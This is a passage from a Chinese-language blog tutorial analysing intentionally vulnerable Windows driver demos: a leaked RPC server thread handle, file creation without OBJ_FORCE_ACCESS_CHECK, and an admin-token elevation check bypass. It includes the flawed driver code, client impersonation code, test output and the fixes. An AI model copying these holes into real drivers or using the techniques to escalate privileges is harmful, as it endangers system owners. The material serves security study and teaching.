id="DuplicateHandle-对-GetCurrentProcess-和-GetCurrentThread-区别对待"><a href="#DuplicateHandle-对-GetCurrentProcess-和-GetCurrentThread-区别对待" class="headerlink" title="DuplicateHandle 对 GetCurrentProcess 和 GetCurrentThread 区别对待"></a>DuplicateHandle 对 GetCurrentProcess 和 GetCurrentThread 区别对待</h3><p>反汇编分析 DuplicateHandle 的源码,它会调用 ObpReferenceProcessObjectByHandle 先获得客户端传递来的 handle 所引用的对象。</p><p>结合 WRK 和 IDA 的反编译结果,简化后 ObpReferenceProcessObjectByHandle 的部分代码如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS</span><br><span class="line">ObpReferenceProcessObjectByHandle (</span><br><span class="line"> IN HANDLE Handle,</span><br><span class="line"> IN PEPROCESS Process,</span><br><span class="line"> IN PHANDLE_TABLE HandleTable,</span><br><span class="line"> IN KPROCESSOR_MODE AccessMode,</span><br><span class="line"> OUT PVOID *Object,</span><br><span class="line"> OUT POBJECT_HANDLE_INFORMATION HandleInformation,</span><br><span class="line"> OUT PACCESS_MASK AuditMask</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> ACCESS_MASK GrantedAccess;</span><br><span class="line"> //...</span><br><span class="line"></span><br><span class="line"> Thread = KeGetCurrentThread ();</span><br><span class="line"> *Object = NULL;</span><br><span class="line"></span><br><span class="line"> //</span><br><span class="line"> // Check is this handle is a kernel handle or one of the two builtin pseudo handles</span><br><span class="line"> //</span><br><span class="line"> if ((LONG)(ULONG_PTR) Handle < 0) {</span><br><span class="line"> //</span><br><span class="line"> // If the handle is equal to the current process handle and the object</span><br><span class="line"> // type is NULL or type process, then attempt to translate a handle to</span><br><span class="line"> // the current process. Otherwise, check if the handle is the current</span><br><span class="line"> // thread handle.</span><br><span class="line"> //</span><br><span class="line"></span><br><span class="line"> if (Handle == GetCurrentProcess()) {</span><br><span class="line"></span><br><span class="line"> GrantedAccess = Process->GrantedAccess;</span><br><span class="line"></span><br><span class="line"> ObjectHeader = OBJECT_TO_OBJECT_HEADER(Process);</span><br><span class="line"></span><br><span class="line"> HandleInformation->GrantedAccess = GrantedAccess;</span><br><span class="line"> HandleInformation->HandleAttributes = 0;</span><br><span class="line"></span><br><span class="line"> *AuditMask = 0;</span><br><span class="line"></span><br><span class="line"> ObpIncrPointerCount(ObjectHeader);</span><br><span class="line"> *Object = Process;</span><br><span class="line"> Status = STATUS_SUCCESS;</span><br><span class="line"></span><br><span class="line"> return Status;</span><br><span class="line"></span><br><span class="line"> //</span><br><span class="line"> // If the handle is equal to the current thread handle and the object</span><br><span class="line"> // type is NULL or type thread, then attempt to translate a handle to</span><br><span class="line"> // the current thread. Otherwise, the we'll try and translate the</span><br><span class="line"> // handle</span><br><span class="line"> //</span><br><span class="line"></span><br><span class="line"> } else if (Handle == GetCurrentThread()) {</span><br><span class="line"></span><br><span class="line"> GrantedAccess = Thread->GrantedAccess;</span><br><span class="line"></span><br><span class="line"> ObjectHeader = OBJECT_TO_OBJECT_HEADER(Thread);</span><br><span class="line"></span><br><span class="line"> HandleInformation->GrantedAccess = GrantedAccess;</span><br><span class="line"> HandleInformation->HandleAttributes = 0;</span><br><span class="line"></span><br><span class="line"> *AuditMask = 0;</span><br><span class="line"></span><br><span class="line"> ObpIncrPointerCount(ObjectHeader);</span><br><span class="line"> *Object = Thread;</span><br><span class="line"></span><br><span class="line"> Status = STATUS_SUCCESS;</span><br><span class="line"></span><br><span class="line"> return Status;</span><br><span class="line"></span><br><span class="line"> } else if (AccessMode == KernelMode) {</span><br><span class="line"> //</span><br><span class="line"> // Make the handle look like a regular handle</span><br><span class="line"> //</span><br><span class="line"></span><br><span class="line"> Handle = DecodeKernelHandle( Handle );</span><br><span class="line"></span><br><span class="line"> //</span><br><span class="line"> // The global kernel handle table</span><br><span class="line"> //</span><br><span class="line"></span><br><span class="line"> HandleTable = ObpKernelHandleTable;</span><br><span class="line"> } else {</span><br><span class="line"> //</span><br><span class="line"> // The previous mode was user for this kernel handle value. Reject it here.</span><br><span class="line"> //</span><br><span class="line"></span><br><span class="line"> return STATUS_INVALID_HANDLE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 后面代码略...</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>上面这段代码非常重要,有点需要注意:</p><ul><li><p>当 Handle 为 GetCurrentProcess()(即 -1)时,返回的 Object 为参数 Process 所引用的对象,后面会介绍,这个 Process 是 RpcClient 进程对象。</p></li><li><p>当 Handle 为 GetCurrentThread()(即 -2)时,返回的 Object 为 KeGetCurrentThread() 返回的当前线程对象,也就是当前的 RpcServer 中的 Calling Thread 对象。</p></li></ul><p>参数 Process 所引用的 Process 对象哪里来的呢?</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">BOOL __stdcall <span class="title function_">DuplicateHandle</span><span class="params">(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)</span></span><br><span class="line">{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> v7 = hSourceHandle;</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> v8 = NtDuplicateObject(</span><br><span class="line"> hSourceProcessHandle,</span><br><span class="line"> v7,</span><br><span class="line"> hTargetProcessHandle,</span><br><span class="line"> lpTargetHandle,</span><br><span class="line"> dwDesiredAccess,</span><br><span class="line"> bInheritHandle != <span class="number">0</span> ? <span class="number">2</span> : <span class="number">0</span>,</span><br><span class="line"> dwOptions);</span><br><span class="line"> <span class="keyword">if</span> ( v8 >= <span class="number">0</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> BaseSetLastNTError(v8);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>winbase!DuplicateHandle->ntoskrnl!NtDuplicateObject->ntoskrnl!ObDuplicateObject->ntoskrnl!ObpReferenceProcessObjectByHandle</p><p>传递给 DuplicateHandle 的 hSourceProcessHandle,在 NtDuplicateObject 中被解引用为进程对象继续向下传递,直到 ObpReferenceProcessObjectByHandle 中作为参数 Process。所以当 Rpc Client 进程传递的 handle 为 -1 时,返回的是 Rpc Client 进程自己的 handle。</p><h3 id="漏洞到底出在哪"><a href="#漏洞到底出在哪" class="headerlink" title="漏洞到底出在哪"></a>漏洞到底出在哪</h3><p>当 Rpc Client 进程传递 -2 作为 handle 值给 Rpc Server 时,Rpc Server 根据 handle 值 -2 解引用对象,没有考虑 -2 是个伪 handle,-2 代表 Rpc Server 中的当前线程,然后复制该线程句柄给了 Rpc Client,造成了高权限进程线程句柄的泄露,客户端得到这个句柄之后,就可以实现一些越权操作了。</p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><p><a href="https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html">Project Zero Blog - Exploiting a Leaked Thread Handle</a></p></li><li><p><a href="https://github.com/bigzz/WRK/blob/master/base/ntos/ob/obref.c#L1355">WRK Source Code</a></p></li></ul><h2 id="11-DEMO-11-Privileged-Resource-Creation"><a href="#11-DEMO-11-Privileged-Resource-Creation" class="headerlink" title="11 DEMO 11 : Privileged Resource Creation"></a>11 DEMO 11 : Privileged Resource Creation</h2><h3 id="源码-1"><a href="#源码-1" class="headerlink" title="源码"></a>源码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS <span class="title function_">HandleIoControl</span><span class="params">(PIRP Irp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> <span class="keyword">switch</span> (code)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> ControlCreateFile:</span><br><span class="line"> <span class="keyword">return</span> CreateFile(&path, FALSE, FALSE);</span><br><span class="line"> <span class="keyword">case</span> ControlCreateFileSecure:</span><br><span class="line"> <span class="keyword">return</span> CreateFile(&path, TRUE, FALSE);</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">NTSTATUS <span class="title function_">CreateFile</span><span class="params">(PUNICODE_STRING Path, BOOLEAN Secure, BOOLEAN Directory)</span></span><br><span class="line">{</span><br><span class="line"> OBJECT_ATTRIBUTES obj_attr = { <span class="number">0</span> };</span><br><span class="line"> HANDLE Handle = <span class="literal">NULL</span>;</span><br><span class="line"> IO_STATUS_BLOCK io_status = { <span class="number">0</span> };</span><br><span class="line"> NTSTATUS status = STATUS_SUCCESS;</span><br><span class="line"> ULONG CreateOptions = Directory ? FILE_DIRECTORY_FILE : FILE_NON_DIRECTORY_FILE;</span><br><span class="line"> ULONG AttributeFlags = OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE;</span><br><span class="line"> <span class="keyword">if</span> (Secure)</span><br><span class="line"> {</span><br><span class="line"> AttributeFlags |= OBJ_FORCE_ACCESS_CHECK;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> InitializeObjectAttributes(&obj_attr, Path, AttributeFlags, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> CHECK_STATUS(ZwCreateFile(&Handle, MAXIMUM_ALLOWED, &obj_attr, &io_status,</span><br><span class="line"> <span class="literal">NULL</span>, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE,</span><br><span class="line"> FILE_OPEN_IF, CreateOptions, <span class="literal">NULL</span>, <span class="number">0</span>));</span><br><span class="line"></span><br><span class="line">error:</span><br><span class="line"> <span class="keyword">if</span> (Handle)</span><br><span class="line"> {</span><br><span class="line"> ZwClose(Handle);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> status;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>从源码和标题来看,这个 case 主要是用户态 DemoClient 利用内核创建文件。那能不能创建 DemoClient 本身没有权限创建的文件呢?比如向 c:\windows 目录</p><h3 id="内核态-ZwCreateFile-创建文件时如何指定路径"><a href="#内核态-ZwCreateFile-创建文件时如何指定路径" class="headerlink" title="内核态 ZwCreateFile 创建文件时如何指定路径"></a>内核态 ZwCreateFile 创建文件时如何指定路径</h3><p>与普通用户态程序调用 CreateFile 创建文件不同的时,ZwCreateFile 要求传入的路径必须是一个包括设备名的全路径。<br>假如我们要创建文件 c:\windows\helloworld,我们传入 ZwCreateFile 的路径需要是 ??\c:\windows\helloworld 或者 \DosDevices\c:\windows\helloworld,如果是前者,对象管理器会负责转换为后者。(其实传入 \GLOBAL??\c:\windows\helloworld 也可以,这个在 Demo9 中讨论过)</p><h3 id="验证向特殊目录写入文件"><a href="#验证向特殊目录写入文件" class="headerlink" title="验证向特殊目录写入文件"></a>验证向特殊目录写入文件</h3><p>实际测试下面的过程,可以成功向 c:\windows 和 c:\windows\system32 下会创建文件,然而 DemoClient 本身是没有对这些目录的写权限的。新创建的这两个文件的属主用户为当前进程 DemoClient 的用户</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[Driver File Tests]</span><br><span class="line">1 - Create File</span><br><span class="line">2 - Create File Secure</span><br><span class="line">3 - Create Dir</span><br><span class="line">4 - Create Dir Secure</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 1</span><br><span class="line"></span><br><span class="line">Specify native path: \??\C:\Windows\abc.txt</span><br><span class="line">[Driver File Tests]</span><br><span class="line">1 - Create File</span><br><span class="line">2 - Create File Secure</span><br><span class="line">3 - Create Dir</span><br><span class="line">4 - Create Dir Secure</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 1</span><br><span class="line"></span><br><span class="line">Specify native path: \??\C:\Windows\system32\abc.txt</span><br><span class="line">[Driver File Tests]</span><br><span class="line">1 - Create File</span><br><span class="line">2 - Create File Secure</span><br><span class="line">3 - Create Dir</span><br><span class="line">4 - Create Dir Secure</span><br><span class="line">0 - Exit Menu</span><br></pre></td></tr></table></figure><p>参考:</p><ul><li><p><a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff566424(v=vs.85).aspx">MSDN ZwCreateFile</a></p></li><li><p><a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff565384(v=vs.85).aspx">MSDN Using Files In A Driver</a></p></li></ul><h3 id="DemoClient-为什么可以越权写了文件"><a href="#DemoClient-为什么可以越权写了文件" class="headerlink" title="DemoClient 为什么可以越权写了文件"></a>DemoClient 为什么可以越权写了文件</h3><p>选择 1 - Create File 测试时,CreateFile 的 secure 参数为 FALSE,所以创建文件 handle 时指定的 OBJECT_ATTRIBUTES.AttributeFlags 没有置位 OBJ_FORCE_ACCESS_CHECK,缺少 OBJ_FORCE_ACCESS_CHECK ZwCreateFile 时内核缺少安全检查,也就没有对 DemoClient 用户态进程权限的验证。</p><p>用户态进程和驱动应该如何共享 handle ?</p><p>遵循下面几点:</p><ul><li><p>如果不希望用户态进程得到并访问这个 handle,应该置位 OBJECT_ATTRIBUTES.AttributeFlags 为 OBJ_KERNEL_HANDLE。</p></li><li><p>handle 由内核态创建然后传递给用户态,尽量不要反过来。从用户态传递过来的 handle,驱动应该认为是不可信的</p></li><li><p>驱动替用户态进程创建 handle 时,需要置位 OBJ_FORCE_ACCESS_CHECK,以添加必要的安全检查,包括进程权限的检查</p></li><li><p>与用户态共享的 handle,内核需要使用 ObReferenceObjectByPointer 引入引用计数,防止用户态 close handle 之后驱动再访问引起系统 crash</p></li></ul><p>参考 <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff557758(v=vs.85).aspx">MSDN Object Handles</a></p><h2 id="12-DEMO-12-Admin-Token-Check-Bypass"><a href="#12-DEMO-12-Admin-Token-Check-Bypass" class="headerlink" title="12 DEMO 12 : Admin Token Check Bypass"></a>12 DEMO 12 : Admin Token Check Bypass</h2><h3 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h3><p>打开 Sysinternals 的 DebugView.exe 工具,标题栏勾选 [Capture]->[Capture Kernel],抓取驱动的调试日志</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">[Driver Token Tests]</span><br><span class="line">1 - Check Token Elevated</span><br><span class="line">2 - Check Token Elevated Secure</span><br><span class="line">3 - Bad Impersonation</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 1</span><br><span class="line"></span><br><span class="line">Impersonate Admin Token? (Y/N): n</span><br><span class="line">[Driver Token Tests]</span><br><span class="line">1 - Check Token Elevated</span><br><span class="line">2 - Check Token Elevated Secure</span><br><span class="line">3 - Bad Impersonation</span><br><span class="line">0 - Exit Menu</span><br><span class="line"></span><br><span class="line">[Driver Token Tests]</span><br><span class="line">1 - Check Token Elevated</span><br><span class="line">2 - Check Token Elevated Secure</span><br><span class="line">3 - Bad Impersonation</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 1</span><br><span class="line"></span><br><span class="line">Impersonate Admin Token? (Y/N): y</span><br><span class="line">[Driver Token Tests]</span><br><span class="line">1 - Check Token Elevated</span><br><span class="line">2 - Check Token Elevated Secure</span><br><span class="line">3 - Bad Impersonation</span><br><span class="line">0 - Exit Menu</span><br></pre></td></tr></table></figure><p>DebugView 看到的调试日志分别为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">IsCallerElevated: ImpersonationLevel: None</span><br><span class="line">IsCallerElevated: ImpersonationLevel: Identification</span><br></pre></td></tr></table></figure><h3 id="源码-2"><a href="#源码-2" class="headerlink" title="源码"></a>源码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 驱动代码</span></span><br><span class="line">NTSTATUS <span class="title function_">IsCallerElevated</span><span class="params">(BOOLEAN secure)</span></span><br><span class="line">{</span><br><span class="line"> SECURITY_SUBJECT_CONTEXT subject_context = { <span class="number">0</span> };</span><br><span class="line"> NTSTATUS status = STATUS_ACCESS_DENIED;</span><br><span class="line"> SeCaptureSubjectContext(&subject_context);</span><br><span class="line"> PACCESS_TOKEN token = SeQuerySubjectContextToken(&subject_context);</span><br><span class="line"></span><br><span class="line"> DBGPRINT(<span class="string">"ImpersonationLevel: %ls\r\n"</span>, subject_context.ClientToken</span><br><span class="line"> ? GetTokenImpersonationLevel(subject_context.ClientToken) : <span class="string">L"None"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (secure)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (subject_context.ClientToken && subject_context.ImpersonationLevel < SecurityImpersonation)</span><br><span class="line"> {</span><br><span class="line"> status = STATUS_BAD_IMPERSONATION_LEVEL;</span><br><span class="line"> <span class="keyword">goto</span> error;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> status = GetTokenElevated(token) ? STATUS_SUCCESS : STATUS_ACCESS_DENIED;</span><br><span class="line">error:</span><br><span class="line"> SeReleaseSubjectContext(&subject_context);</span><br><span class="line"> <span class="keyword">return</span> status;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">BOOLEAN <span class="title function_">GetTokenElevated</span><span class="params">(PACCESS_TOKEN Token)</span></span><br><span class="line">{</span><br><span class="line"> PTOKEN_ELEVATION Elevation = <span class="literal">NULL</span>;</span><br><span class="line"> BOOLEAN ret = FALSE;</span><br><span class="line"> <span class="keyword">if</span> (NT_SUCCESS(SeQueryInformationToken(Token, TokenElevation, &Elevation)))</span><br><span class="line"> {</span><br><span class="line"> ret = !!Elevation->TokenIsElevated;</span><br><span class="line"> ExFreePool(Elevation);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 客户端代码</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">RunTestCallerToken</span><span class="params">(HANDLE handle, ControlCode code)</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">wstring</span> option = GetArgument(<span class="string">"Impersonate Admin Token (Y/N)"</span>);</span><br><span class="line"> <span class="keyword">if</span> (option.size() > <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="type">bool</span> impersonate = <span class="built_in">tolower</span>(option[<span class="number">0</span>]) == <span class="string">'y'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (impersonate)</span><br><span class="line"> {</span><br><span class="line"> ScopedHandle proc_token;</span><br><span class="line"> <span class="keyword">if</span> (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, proc_token.Ptr()))</span><br><span class="line"> {</span><br><span class="line"> PrintError(<span class="string">"Couldn't open process token"</span>, GetLastError());</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ScopedHandle imp_token;</span><br><span class="line"> DWORD return_length = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (!GetTokenInformation(proc_token.Get(), TokenLinkedToken, imp_token.Ptr(), <span class="keyword">sizeof</span>(HANDLE), &return_length))</span><br><span class="line"> {</span><br><span class="line"> PrintError(<span class="string">"Couldn't get linked token"</span>, GetLastError());</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!ImpersonateLoggedOnUser(imp_token.Get()))</span><br><span class="line"> {</span><br><span class="line"> PrintError(<span class="string">"Couldn't impersonate token"</span>, GetLastError());</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> DWORD bytes_returned;</span><br><span class="line"> BOOL result = DeviceIoControl(handle, MAKE_IOCTL(code),</span><br><span class="line"> nullptr, <span class="number">0</span>, nullptr, <span class="number">0</span>, &bytes_returned, nullptr);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (impersonate)</span><br><span class="line"> {</span><br><span class="line"> RevertToSelf();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!result)</span><br><span class="line"> {</span><br><span class="line"> PrintError(<span class="string">"Error issuing device control"</span>, GetLastError());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="UAC-与-TokenLinkedToken"><a href="#UAC-与-TokenLinkedToken" class="headerlink" title="UAC 与 TokenLinkedToken"></a>UAC 与 TokenLinkedToken</h3><p>当某个用户隶属于 Administrator 组时,用户启动的进程 token 中会嵌入 Administrator Token,只不过当 UAC 启用时,这个 token 不生效。尽管不生效,我们却可以通过 API GetTokenInformation() 获得这个 Administrator token,调用时 class 设定为 TokenLinkedToken。</p><p>既然可以得到 Administrator token,那不是可以直接调用 CreateProcessAsUser() 以 Administrator 身份创建进程了?</p><p>不是,还有 Impersonation Level,进程如果没有 SeTcbPrivilege,那 GetTokenInformation() 得到的 Administrator token 的 level 不是 SecurityImpersonation,而是 SecurityIdentification。也就是不能用这个 token 模仿管理员用户的行为,只能根据这个 token 知道 Administrator 有哪些 SID/Privileges。</p><p>什么进程会有 SeTcbPrivilege 权限? MSDN 中说底层认证相关的服务有这个权限。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Only low-level authentication services should require this privilege.</span><br></pre></td></tr></table></figure><h3 id="漏洞出在哪"><a href="#漏洞出在哪" class="headerlink" title="漏洞出在哪"></a>漏洞出在哪</h3><p>驱动代码中检查 client 权限时,只检查了 token 的 TokenIsElevated 是否置位,却没有检查 token 的 SECURITY_IMPERSONATION_LEVEL。由于 client 没有 SeTcbPrivilege 权限,所以只得到了一个 SecurityIdentification level 的 Administrator token,是没有权限模拟管理员用户进程的。但驱动没有检查这里,所以返回的状态时成功 STATUS_SUCCESS。</p><p>漏洞的修复也比较简单,就是如代码中的 secure 判断分支:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">if (secure)</span><br><span class="line"> {</span><br><span class="line"> if (subject_context.ClientToken && subject_context.ImpersonationLevel < SecurityImpersonation)</span><br><span class="line"> {</span><br><span class="line"> status = STATUS_BAD_IMPERSONATION_LEVEL;</span><br><span class="line"> goto error;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="impersonation-token-和-primary-token-如何选择"><a href="#impersonation-token-和-primary-token-如何选择" class="headerlink" title="impersonation token 和 primary token 如何选择"></a>impersonation token 和 primary token 如何选择</h3><p>什么时候使用 impersonation token 认证,什么时候使用 primary token?</p><p>下列几种情况时,即便存在 impersonation token,也会使用 primary token:</p><ul><li>处于 impersonating 状态的线程调用 CreateProcess 创建进程时,系统使用 primary 